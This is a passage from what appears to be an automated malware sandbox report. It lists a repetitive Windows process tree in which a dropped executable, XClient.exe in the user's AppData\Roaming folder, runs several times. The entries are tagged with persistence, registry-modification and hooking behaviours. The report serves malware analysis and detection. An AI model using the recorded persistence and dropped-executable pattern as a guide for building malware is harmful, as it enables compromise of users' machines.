                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of AdjustPrivilegeToken
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:4964
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5084
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of FindShellTrayWindow
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:100
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2144
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4112
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of SendNotifyMessage
                                                            PID:3380
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2960
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5060
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:2632
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:1864
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4460
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3808
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:4256
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1672
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4632
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            PID:2076
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4296
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2100
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Checks SCSI registry key(s)
                                                            PID:4632
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1532
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1208
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:3600
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2196
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2000
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:1368
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3960
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5048
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:5084
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2108
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2100
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:4028
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1624
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1672
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Modifies registry class
                                                            PID:4120
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2848
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2492
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:4268
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:812
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3992
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1556
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4376
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3792
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1532
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3628
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4284
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
                                                            • Executes dropped EXE
                                                            PID:4448
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4056
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3312
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4240
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:1664
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3464
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:396
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:2504
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2496
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4376
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            PID:396
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1228
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4712
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:1560
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4440
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1072
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            • Suspicious behavior: GetForegroundWindowSpam
                                                            PID:2076
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1184
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3672
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:3244
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1368
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3292
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:3564
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4056
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3264
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Checks SCSI registry key(s)
                                                            • Modifies registry class
                                                            PID:1156
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4420
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2600
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:1964
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:552
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:3144
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:180
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4248
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:1156
                                                          • C:\Windows\explorer.exe
                                                            explorer.exe
                                                            1⤵
                                                            • Boot or Logon Autostart Execution: Active Setup
                                                            • Enumerates connected drives
                                                            • Checks SCSI registry key(s)
                                                            PID:408
                                                          • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                            1⤵
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:4284
                                                          • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                            "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
                                                            1⤵
                                                            • Modifies Internet Explorer settings
                                                            • Modifies registry class
                                                            • Suspicious use of SetWindowsHookEx
                                                            PID:2628
                                                          • C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            C:\Users\Admin\AppData\Roaming\XClient.exe
                                                            1⤵
